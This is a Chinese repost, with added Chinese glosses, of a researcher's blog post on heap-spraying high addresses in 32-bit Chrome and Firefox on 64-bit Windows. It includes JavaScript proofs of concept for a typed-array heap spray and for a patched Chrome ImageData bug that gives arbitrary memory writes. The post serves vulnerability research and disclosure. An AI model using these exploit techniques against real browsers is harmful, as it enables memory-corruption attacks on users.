转:https://blog.skylined.nl/20160622001.html,June 22nd, 2016

In my previous blog post I wrote about magic values that were originally chosen to help mitigate exploitation of memory corruption flaws and how this mitigation could potentially be bypassed on 64-bit Operating Systems, specifically Windows. In this blog post, I will explain how to create a heap spray (of sorts) that can be used to allocate memory in the relevant address space range and fill it with arbitrary data for use in exploiting a vulnerability that involves referencing a magic value pointer.The relevant address space range in most cases is between 0x­C0000000 and 0x­F0000000, so the Proof-of-Concept code will attempt to allocate memory at the address 0x­DEADBEEF and store the DWORD value 0x­BADC0DED at this address.在0x­DEADBEEF。地址存储0x­BADC0DED

  • Using typed arrays for heap sprays

Most browser heap sprays are based on the code I developed for an exploit in 2004. For reasons I won't get into here, this heap spray repeatedly concatenated a string to itself to exponentially grow the size of this string. A number of copies were than made of this string in order to fill the desired amount of memory.Since 2004, a lot has changed and a lot of features have been added to modern browsers that can be used to spray the heap faster, easier and with better control over its content. One such feature is typed arrays. As explained on the MDN page, these are similar to "normal" Javascript arrays, except that they are never sparse(不稀疏). Data stored in typed arrays is stored in an Array­Buffer, which is backed up by one consecutive block of memory in which the values are stored. By creating a typed array, one can therefore allocate one consecutive block of memory of a controlled size(可以申请一块可控大小的连续内存空间,同时内容可控), and the contents of the memory can be controlled by setting array elements to specific values.

  ArrayBuffer和C语言内存分配一样,分配一块内存块,相当于C语言中的malloc();光有内存块,而不进行操作也是没有用的,javascript通过视图的方式对内存块进行读写,存在两种视图:

  1. TypedArray: 特定类型的数据类型,特定类型的一种视图,对特定类型操作性能更高;
  2. DataView: 各种数据类型都可以,还可以指定大端序(BIG_ENDIAN),小端序(LITTLE_ENDIAN),功能更强大的一种视图
  • Spraying the heap in the right place

Heap blocks are normally allocated at the lowest possible address. If you allocate two blocks on an empty, unused heap, these blocks should normally be sequential: (连续分配)the second block will get allocated immediately after the first in memory and therefore be located at a higher address. After the heap has been used for some time and blocks have been freed, the heap can become fragmented. This means that there are unused (freed) areas in between the areas that are still in use. When you allocate a new block from the heap, one of these freed areas can be reallocated, so two sequential allocations may no longer end up next to each other and the second allocation may end up before the first. (heap feng shui can be used to get around this in some cases, but I digress).Fortunately, these gaps (间隙很小)in the heap tend to be a lot smaller than the large blocks used in a heap spray, so fragmentation can be ignore in this case: when asked to allocate a very large block of memory, it will almost certainly get allocated after everything else already allocated on the heap.Because 32-bit applications have all their modules (dll基地址靠近0) loaded at addresses close to, but below 0x80000000, there is only so much space available for a large allocation immediately after the heap and before these modules. If you attempt to allocate a block that is larger than the gap(申请的块大于堆和动态库之间的间隙时) between the heap and the modules, there is no place this allocation can go but after the modules.So, by allocating sufficiently large memory blocks(申请足够多的大块内存后,可以保证内存块地址位于0x80000000), we can all but guarantee that these blocks will be allocated at addresses above 0x80000000. And since there is nothing there to fragment their allocation, they should end up sequential, allowing us to reliably allocate memory in the region around 0x­DEADBEEF.

  • The Proof-of-Concept

Unlike Firefox, Chrome has an artificial limit (人为限制)on the number of bytes you can allocate through a typed array. This means that on Firefox, you can simply allocate one large block (firefox没有typearray的大小限制,只需要分配大块填充内存)that starts at 0x80000000 and contains all memory up to and including 0x­DEADBEEF. On Chrome, you will need to allocate two blocks, one to fill the lower part of memory and one that contains the target address. After allocating the(se) block(s), setting the value at address 0x­DEADBEEF to to 0x­BADC0DED is as simple as setting a few values in the array at the right index. Because the base address of the memory block depends on the allocator used by the browser(内存块基地址依赖于浏览器分配器), it is deterministic(确定,数组索引可以猜测) and the right index can be guessed with very high reliability. The code below shows how this is done. After loading this web-page you can inspect the memory at 0x­DEADBEEF (in Chrome make sure you have the render process) to make sure it contains the value 0x­BADC0DED.(在win7-64,chrome 61_32版本可以复现)

 <html>

 <head>
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta charset="utf-8">
<script>
var uTargetAddress = 0xDEADBEEF; // The address to allocated
var uValue = 0xBADC0DED; // The value to store at this address.
var uArrayBase = window.chrome ? 0x80004000 : 0x80000000;
var uArraySeparation = window.chrome ? 0x200000 : 0x0;
var uMaxArraySize = window.chrome ? 0x30000000 : 0x80000000;
var aauHeap = [];
while (uArrayBase + uMaxArraySize <= uTargetAddress) {
console.log("Allocating 0x" + uMaxArraySize.toString(16) + " bytes at 0x" + uArrayBase.toString(16));
aauHeap.push(auHeap = new Uint8Array(uMaxArraySize));
uArrayBase += uMaxArraySize + uArraySeparation;
};
var uArraySize = uTargetAddress-uArrayBase + 4,
auHeap = new Uint8Array(uArraySize);
console.log("Allocating 0x" + uArraySize.toString(16) + " bytes at 0x" + uArrayBase.toString(16));
for (var uOffset = 0; uOffset < 4; uOffset++) {
var uByteIndex = uTargetAddress-uArrayBase + uOffset,
uByteValue = (uValue >> (uOffset * 8)) & 0xFF;
auHeap[uByteIndex] = uByteValue;
console.log("[0x" + uArrayBase.toString(16) + " + 0x" + uByteIndex.toString(16) + "] = " + uByteValue.toString(16));
};
// All done: break into the application using your favorite debugger
// and see whether [0xDEADBEEF] realy is 0xBADC0DED. In WinDbg, this may help:
alert("!address 0xDEADBEEF;dd 0xDEADBEEF");
</script>
</head> </html>

At the end of 2013 I found signedness errors and integer overflows (有符号错误和整数溢出,可以任意读写内存)in Google Chrome that allowed reading and writing of arbitrary memory when Chrome is running on a 64-bit version of Windows. This issue was patched in early 2014, and I was going to release the details a that time, but there was a small slipup and the Chrome team forgot to actually apply the patch to the new build. So, I had to wait a bit longer for it the next release and subsequently completely forgot to release these details. But that does allow me to bring it up now and describe how that bug was triggered and how I wrote a Proof-of-Concept for the issue.

  • Repro

When using the create­Image­Data of a canvas element to create a very large Image­Data object on x64 bit versions of Windows, the memory used for this object can get allocated at address 0x7FFF0000. This causes the mayority of the object's memory to be located at addresses above 0x7FFFFFFF. This allows exploitation of signedness errors/integer overflows in the code that handles reading and writing of pixel data, effectively allowing a script to read and write memory in the mayority of the process' adddress space.

<!doctype html>
<html>
<head>
<script>
window.onload = function() {
var oCanvas = document.createElement("canvas");
var oContext2d = oCanvas.getContext("2d");
this.oImageData = oContext2d.createImageData(0x17001337,1);
function addressToIndex(iAddress) {
return iAddress + (iAddress < 0x7fff0000 ? +0x80010000 : 0x7fff0000);
}
this.oImageData.data[addressToIndex(0xDEADBEEF)] = 0x41;
};
</script>
</head>
</html>

待续...

转:Heap spraying high addresses in 32-bit Chrome/Firefox on 64-bit Windows的更多相关文章

  1. 无光驱在32位windows系统下安装64位windows系统

    位的系统. 大家都知道,32位的操作系统最多只能支持3.2G的内存,现在内存白菜价,很多人都在原有基础上购入新内存,这样最少也有4G了,为了让内存不浪费,我 们只有升级到64位操作系统.但是很多朋友又 ...

  2. 关于32位windows和64位windows

    SysWow64文件夹,是64位Windows,用来存放32位Windows系统文件的地方,而System32文件夹,是用来存放64位程序文件的地方. 当32位程序加载System32文件夹中的dll ...

  3. 4 bytes (32 bits) or 8 bytes (64 bits)

    Computer Systems A Programmer's Perspective Second Edition BusesRunning throughout the system is a c ...

  4. 64地点 Windows 8/7 根据系统 32地点PLSQL 耦合 64 地点 Oracle 11g

    64地点 Windows 8/7 根据系统 32地点PL/SQL 耦合 64 地点 Oracle 11g     说明:安装后Oracle的 oci.dll 是64位的,而32位应用程序 PL/SQL ...

  5. 使 IIS 6.0 可以在 64 位 Windows 上运行 32 位应用程序 试图加载格式不正确的程序。

    原文 使 IIS 6.0 可以在 64 位 Windows 上运行 32 位应用程序 试图加载格式不正确的程序. win7 64位操作系统上边运行IIS网站应用的时候,提示错误"试图加载格式 ...

  6. win10下安装MinGW-w64 - for 32 and 64 bit Windows

    对于不经常使用c语言的同学来说,只需要安装MinGW-w64 - for 32 and 64 bit Windows,就可以使用GCC在命令行对c源码进行编译. 首先打开命令行检查自己是否已经安装了g ...

  7. Oracle 11g R2 32位 & Oracle 11g R2 64位 -百度云下载

    Oracle 11g R2 32位 & Oracle 11g R2 64位 -百度云下载 https://pan.baidu.com/s/1fuzy67Olfxzsy3WJMCrCnQ 提取码 ...

  8. 让 Oracle 11g 32位运作在64位 Windows 上

    并非不能运行. 本人安装版未曾尝试,但绿色版倒是运行成功了. 很简单:注册表的位置发生了变化而已! 默认(32位.64位),oracle会读取以下注册表的位置:      [HKEY_LOCAL_MA ...

  9. 【扫盲】】32位和64位Windows的区别

    用户购买windows安装盘或者重新安装操作系统的时候,通常会遇到这个问题,就是不知道该如何选择使用32位操作系统和64位操作系统,有人说64位系统速度快,其实理论上确实是这样,不过具体还要根据你的个 ...

随机推荐

  1. Tensorflow Batch normalization函数

    Tensorflow Batch normalization函数 觉得有用的话,欢迎一起讨论相互学习~Follow Me 参考文献 stackoverflow上tensorflow实现BN的不同函数的 ...

  2. 重构改善既有代码设计--重构手法16:Introduce Foreign Method (引入外加函数)&& 重构手法17:Introduce Local Extension (引入本地扩展)

    重构手法16:Introduce Foreign Method (引入外加函数)你需要为提供服务的类增加一个函数,但你无法修改这个类.在客户类中建立一个函数,并以第一参数形式传入一个服务类实例. 动机 ...

  3. 重构改善既有代码设计--重构手法15:Remove Middle Man (移除中间人)

    某个类做了过多的简单委托动作.让客户直接调用受托类. 动机:在Hide Delegate (隐藏委托关系)的“动机”中,谈到了“封装委托对象”的好处.但是这层封装也是要付出代价的,它的代价是:每当客户 ...

  4. 【IDEA】 Can't Update No tracked branch configured for branch master or the branch doesn't exist. To make your branch track a remote branch call, for example, git branch --set-upstream-to origin/master

    IDEA点击GIT更新按钮时,报错如下: Can't UpdateNo tracked branch configured for branch master or the branch doesn' ...

  5. [linux]linux下安装mysql

    1.安装g++$sudo apt-get install build-essential注:此命令会同时安装gcc和make2.安装cmake$sudo apt-get install cmake3. ...

  6. Map集合的两种取出方式

    Map集合有两种取出方式, 1.keySet:将Map中的键存入Set集合,利用set的迭代器来处理所有的键 举例代码如下: import java.util.*; class Test { publ ...

  7. 关于Re模块的一些基础知识(另附一段批量抓代理ip的代码)

    1.常用匹配规则 . 表示任意字符[0-9] 用来匹配一个指定的字符类别[^5]表示除了5之外的其他字符,^不在字符串的开头,则表示它本身.* 对于前一个字符重复0到无穷次+ 对于前一个字符重复1到无 ...

  8. Automation Testing - Best Practice(书写规范)

    Coding Standards Coding Standards are suggestions that will help us to write automation Scripts code ...

  9. DNSLOG在渗透测试中的玩法儿

    首先了解一下DNS是啥??? DNS(Domain Name System,域名系统),万维网上作为域名和IP地址相互映射的一个分布式数据库,能够使用户更方便的访问互联网,而不用去记住能够被机器直接读 ...

  10. 在C#中用MediaInfo获取视频或音频的属性

    MediaInfo是一个开源的获取视频或音频的信息的非常便利的工具,它本身就带有一个GUI界面,可以非常方便我们查看视频信息.但是,当我们写一些转码程序时,往往需要在程序中获取视频信息的时候. 以前我 ...